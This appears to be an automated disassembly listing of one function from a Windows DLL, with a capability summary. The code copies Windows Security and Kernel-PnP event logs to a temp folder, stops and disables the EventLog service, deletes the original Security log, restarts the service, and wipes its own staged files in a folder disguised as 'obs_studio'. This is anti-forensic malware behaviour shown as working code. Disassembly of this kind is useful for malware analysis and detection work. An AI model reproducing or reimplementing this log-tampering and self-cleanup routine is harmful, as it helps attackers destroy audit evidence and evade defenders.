Function at 0x18004fa10
Capabilities:
Copy file
Create process on windows
Delete file
Get common file path
Modify service
Self delete
Stop service
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x3a0
mov rax, qword [0x1800ef080]
xor rax, rsp
mov qword [rsp + 0x390], rax
lea rdx, str.C:WindowsSystem32winevtLogsSecurity.evtx
lea rcx, [rsp + 0x2a8]
call fcn.180053250
nop
lea rdx, str.C:WindowsTempSecurity.evtx
lea rcx, [rsp + 0x288]
call fcn.180053250
nop
lea rcx, [rsp + 0x288]
call fcn.1800531c0
mov rdx, rax
lea rcx, [rsp + 0x2a8]
call fcn.1800531c0
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x18004fa9b
lea rdx, str.Security.evtx_copied_successfully.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
jmp 0x18004faa9
lea rdx, str.Failed_to_copy_Security.evtx.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.180054600
lea rdx, [0x1800547e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.type_C:desktop.dll___C:ProgramDataobs_studiodesktop.dll
lea rcx, [rsp + 0xc8]
call fcn.180049e50
lea rcx, [rsp + 0xc8]
call fcn.18004f6d0
lea rcx, [rsp + 0xc8]
call fcn.180049df0
lea rdx, str.type_C:desktop.ini___C:ProgramDataobs_studiodesktop.ini
lea rcx, [rsp + 0xc8]
call fcn.180049e50
lea rcx, [rsp + 0xc8]
call fcn.18004f6d0
lea rcx, [rsp + 0xc8]
call fcn.180049df0
lea rdx, str.C:WindowsSystem32winevtLogsMicrosoft_Windows_Kernel_PnP___4Configuration.evtx
lea rcx, [rsp + 0x188]
call fcn.180053250
nop
lea rcx, [rsp + 0x108]
call fcn.1800533c0
nop
mov edx, 0x104
lea rcx, [rsp + 0x108]
call fcn.180053140
lea rcx, [rsp + 0x108]
call fcn.1800531c0
mov rdx, rax
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x18004fc13
cmp eax, 0x104
ja 0x18004fc13
lea edx, [rax - 1]
lea rcx, [rsp + 0x108]
call fcn.180053140
lea rdx, [rsp + 0x108]
lea rcx, [rsp + 0xc8]
call fcn.180054820
nop
lea rcx, [rsp + 0xc8]
call fcn.1800531c0
mov rdx, rax
lea rcx, [rsp + 0x188]
call fcn.1800531c0
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x18004fbe0
lea rdx, str.Microsoft_Windows_Kernel_PnP___4Configuration.evtx_copied_successfully.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
jmp 0x18004fbee
lea rdx, str.Failed_to_copy_Microsoft_Windows_Kernel_PnP___4Configuration.evtx.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.180054600
lea rdx, [0x1800547e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
lea rcx, [rsp + 0xc8]
call fcn.18004b810
jmp 0x18004fc36
lea rdx, str.Failed_to_get_the_temporary_path.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.180054600
lea rdx, [0x1800547e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.C:WindowsSystem32winevtLogsApplication.evtx
lea rcx, [rsp + 0x128]
call fcn.180053250
nop
lea rdx, str.C:WindowsTempApplication.evtx
lea rcx, [rsp + 0x148]
call fcn.180053250
nop
lea rcx, [rsp + 0x148]
call fcn.1800531c0
mov rdx, rax
lea rcx, [rsp + 0x128]
call fcn.1800531c0
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x18004fc9d
lea rdx, str.Security.evtx_copied_successfully.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
jmp 0x18004fcab
lea rdx, str.Failed_to_copy_Security.evtx.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.180054600
lea rdx, [0x1800547e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.C:WindowsSystem32winevtLogsMicrosoft_Windows_Kernel_PnP___4Configuration.evtx
lea rcx, [rsp + 0x2e8]
call fcn.180053250
nop
lea rcx, [rsp + 0x2c8]
call fcn.1800533c0
nop
mov edx, 0x104
lea rcx, [rsp + 0x108]
call fcn.180053140
lea rcx, [rsp + 0x108]
call fcn.1800531c0
mov rdx, rax
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x18004fdb9
cmp eax, 0x104
ja 0x18004fdb9
lea edx, [rax - 1]
lea rcx, [rsp + 0x2c8]
call fcn.180053140
lea rdx, [rsp + 0x108]
lea rcx, [rsp + 0xc8]
call fcn.180054820
nop
lea rcx, [rsp + 0xc8]
call fcn.1800531c0
mov rdx, rax
lea rcx, [rsp + 0x2e8]
call fcn.1800531c0
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x18004fd86
lea rdx, str.Microsoft_Windows_Kernel_PnP___4Configuration.evtx_copied_successfully.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
jmp 0x18004fd94
lea rdx, str.Failed_to_copy_Microsoft_Windows_Kernel_PnP___4Configuration.evtx.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.180054600
lea rdx, [0x1800547e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
lea rcx, [rsp + 0xc8]
call fcn.18004b810
jmp 0x18004fddc
lea rdx, str.Failed_to_get_the_temporary_path.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.180054600
lea rdx, [0x1800547e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.C:WindowsSystem32
lea rcx, [rsp + 0x308]
call fcn.180049e50
nop
lea rcx, [rsp + 0x260]
call fcn.1800506f0
lea rcx, [rsp + 0x260]
call fcn.180052190
nop
lea rdx, [rsp + 0x308]
lea rcx, [rsp + 0xc8]
call fcn.1800545a0
nop
lea rdx, [rsp + 0xc8]
lea rcx, [rsp + 0xf8]
call fcn.18004c760
nop
lea rcx, [rsp + 0xc8]
call fcn.18004b810
lea rcx, [rsp + 0xb8]
call fcn.18004c900
lea rdx, [rsp + 0xf8]
lea rcx, [rsp + 0xe8]
call fcn.180050710
mov rdx, rax
lea rcx, [rsp + 0xb8]
call fcn.18004c800
nop
lea rcx, [rsp + 0xe8]
call fcn.18004c900
lea rdx, [rsp + 0xf8]
lea rcx, [rsp + 0x68]
call fcn.180050710
mov rdx, rax
lea rcx, [rsp + 0xe8]
call fcn.18004c880
nop
nop dword [rax + rax]
lea rdx, [rsp + 0xe8]
lea rcx, [rsp + 0xb8]
call fcn.18004c7f0
test al, al
je 0x18004ffa8
lea rcx, [rsp + 0xb8]
call fcn.18004c7b0
mov rbx, rax
lea rdx, [rsp + 0x60]
mov rcx, rax
call fcn.18004c2a0
mov rcx, qword [rax]
call fcn.18004c110
test al, al
je 0x18004ff96
mov rcx, rbx
call fcn.18004c120
mov rbx, rax
lea rdx, [rsp + 0x80]
mov rcx, rax
call fcn.18004b6e0
nop
lea rdx, [rsp + 0xc8]
mov rcx, rax
call fcn.18004b5f0
nop
lea rcx, [rsp + 0x80]
call fcn.18004b810
lea rdx, [rsp + 0x260]
lea rcx, [rsp + 0xc8]
call fcn.1800549c0
test al, al
je 0x18004ff89
lea rdx, str.Excluindo_arquivo:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180054390
lea rdx, [rsp + 0xc8]
mov rcx, rax
call fcn.180054a00
lea rdx, [0x180054560]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rbx
call fcn.18004c910
nop
lea rcx, [rsp + 0xc8]
call fcn.180049df0
lea rcx, [rsp + 0xb8]
call fcn.18004c7c0
jmp 0x18004feb0
lea rcx, [rsp + 0xe8]
call fcn.18004c830
nop
lea rcx, [rsp + 0xb8]
call fcn.18004c830
nop
lea rcx, [rsp + 0xf8]
call fcn.18004c830
nop
lea rdx, [0x1800d9cd4]
lea rcx, [rsp + 0x328]
call fcn.180053250
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1f0], xmm0
movups xmmword [rsp + 0x200], xmm0
movups xmmword [rsp + 0x210], xmm0
movups xmmword [rsp + 0x220], xmm0
movups xmmword [rsp + 0x230], xmm0
movups xmmword [rsp + 0x240], xmm0
mov qword [rsp + 0x250], rax
movups xmmword [rsp + 0xa0], xmm0
mov qword [rsp + 0xb0], rax
lea rcx, [rsp + 0x328]
call fcn.1800531c0
mov rdx, rax
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x1f0]
mov qword [rsp + 0x40], rax
xor edi, edi
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x1800500b7
mov edx, 0xffffffff
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0xa8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.del__f__q__s_C:ProgramDataobs_studio
lea rcx, [rsp + 0xc8]
call fcn.180049e50
lea rcx, [rsp + 0xc8]
call fcn.18004f6d0
lea rcx, [rsp + 0xc8]
call fcn.180049df0
lea rdx, str.C:ProgramDataobs_studio
lea rcx, [rsp + 0x348]
call fcn.180049e50
nop
lea rdx, [rsp + 0x348]
lea rcx, [rsp + 0xc8]
call fcn.1800545a0
nop
lea rdx, [rsp + 0xc8]
lea rcx, [rsp + 0xe8]
call fcn.18004c760
nop
lea rcx, [rsp + 0xc8]
call fcn.18004b810
lea rcx, [rsp + 0xb8]
call fcn.18004c900
lea rdx, [rsp + 0xe8]
lea rcx, [rsp + 0x68]
call fcn.180050710
mov rdx, rax
lea rcx, [rsp + 0xb8]
call fcn.18004c800
nop
lea rcx, [rsp + 0xf8]
call fcn.18004c900
lea rdx, [rsp + 0xe8]
lea rcx, [rsp + 0x68]
call fcn.180050710
mov rdx, rax
lea rcx, [rsp + 0xf8]
call fcn.18004c880
nop
nop dword [rax]
nop word [rax + rax]
lea rdx, [rsp + 0xf8]
lea rcx, [rsp + 0xb8]
call fcn.18004c7f0
test al, al
je 0x180050201
lea rcx, [rsp + 0xb8]
call fcn.18004c7b0
mov rbx, rax
lea rdx, [rsp + 0x60]
mov rcx, rax
call fcn.18004c2a0
mov rcx, qword [rax]
call fcn.18004c110
test al, al
je 0x1800501f2
mov rcx, rbx
call fcn.18004c120
mov rcx, rax
call fcn.18004c910
lea rcx, [rsp + 0xb8]
call fcn.18004c7c0
jmp 0x1800501a0
lea rcx, [rsp + 0xf8]
call fcn.18004c830
nop
lea rcx, [rsp + 0xb8]
call fcn.18004c830
nop
lea rcx, [rsp + 0xe8]
call fcn.18004c830
lea rdx, str.Todos_os_arquivos_foram_exclu
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180054390
lea rdx, [0x180054560]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
jmp 0x180050252
lea rcx, str.type_C:desktop.dll___C:ProgramDataobs_studiodesktop.dll
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.type_C:desktop.ini___C:ProgramDataobs_studiodesktop.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.type_C:desktop.dll___C:ProgramDataobs_studiodesktop.dll
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rdx, str.C:WindowsSystem32winevtLogsSecurity.evtx
lea rcx, [rsp + 0x1a8]
call fcn.180053250
nop
lea rdx, str.C:WindowsTempSecurity.evtx
lea rcx, [rsp + 0x168]
call fcn.180053250
nop
lea rdx, str.C:WindowsSystem32winevtLogsMicrosoft_Windows_Kernel_PnP___4Configuration.evtx
lea rcx, [rsp + 0x368]
call fcn.180053250
nop
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rsi, rax
test rax, rax
je 0x18005037d
mov r8d, Ordinal_41
lea rdx, str.EventLog
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rbx, rax
test rax, rax
je 0x180050374
lea r8, [rsp + 0x1c8]
mov edx, 1
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x180050331
lea rdx, str.Stopped_EventLog_service.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.180054600
lea rdx, [0x1800547e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
mov edx, 0xffffffff
mov r9d, edx
mov r8d, 2
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov dword [rsp + 0x60], 1
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0xb8]
call fcn.180054a20
mov rcx, rax
call fcn.180054a30
lea rcx, [rsp + 0x168]
call fcn.1800531c0
mov rdx, rax
lea rcx, [rsp + 0x368]
call fcn.1800531c0
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x180050407
lea rdx, str.Security.evtx_copied_successfully.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.180054600
lea rdx, [0x1800547e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, [rsp + 0x1a8]
call fcn.1800531c0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x18005042a
lea rdx, str.Failed_to_copy_Security.evtx.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.180054600
lea rdx, [0x1800547e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, [rsp + 0x168]
call fcn.1800531c0
mov rdx, rax
lea rcx, [rsp + 0x188]
call fcn.1800531c0
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x180050492
lea rdx, str.Microsoft_Windows_Kernel_PnP___4Configuration.evtx_copied_successfully.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.180054600
lea rdx, [0x1800547e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, [rsp + 0x1a8]
call fcn.1800531c0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x1800504b5
lea rdx, str.Failed_to_copy_Microsoft_Windows_Kernel_PnP___4Configuration.evtx.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.180054600
lea rdx, [0x1800547e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rbx, rax
test rax, rax
je 0x180050538
mov r8d, reloc.WLDAP32.dll_Ordinal_22
lea rdx, str.EventLog
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rdi, rax
test rax, rax
je 0x18005052f
lea r8, [rsp + 0x1c8]
mov edx, 4
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x180050526
lea rdx, str.Started_EventLog_service.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.180054600
lea rdx, [0x1800547e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
lea rcx, [rsp + 0x148]
call fcn.1800531c0
mov rdx, rax
lea rcx, [rsp + 0x128]
call fcn.1800531c0
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x1800505a0
lea rdx, str.Security.evtx_copied_successfully.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.180054600
lea rdx, [0x1800547e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, [rsp + 0x128]
call fcn.1800531c0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x1800505c3
lea rdx, str.Failed_to_copy_Security.evtx.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.180054600
lea rdx, [0x1800547e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, [rsp + 0x148]
call fcn.1800531c0
mov rdx, rax
lea rcx, [rsp + 0x128]
call fcn.1800531c0
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x18005062b
lea rdx, str.Microsoft_Windows_Kernel_PnP___4Configuration.evtx_copied_successfully.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.180054600
lea rdx, [0x1800547e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, [rsp + 0x128]
call fcn.1800531c0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x18005064e
lea rdx, str.Failed_to_copy_Microsoft_Windows_Kernel_PnP___4Configuration.evtx.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.180054600
lea rdx, [0x1800547e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rdi, rax
test rax, rax
je 0x1800506d1
mov r8d, reloc.WLDAP32.dll_Ordinal_22
lea rdx, str.EventLog
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rbx, rax
test rax, rax
je 0x1800506c8
lea r8, [rsp + 0x1c8]
mov edx, 4
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x1800506bf
lea rdx, str.Started_EventLog_service.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.180054600
lea rdx, [0x1800547e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3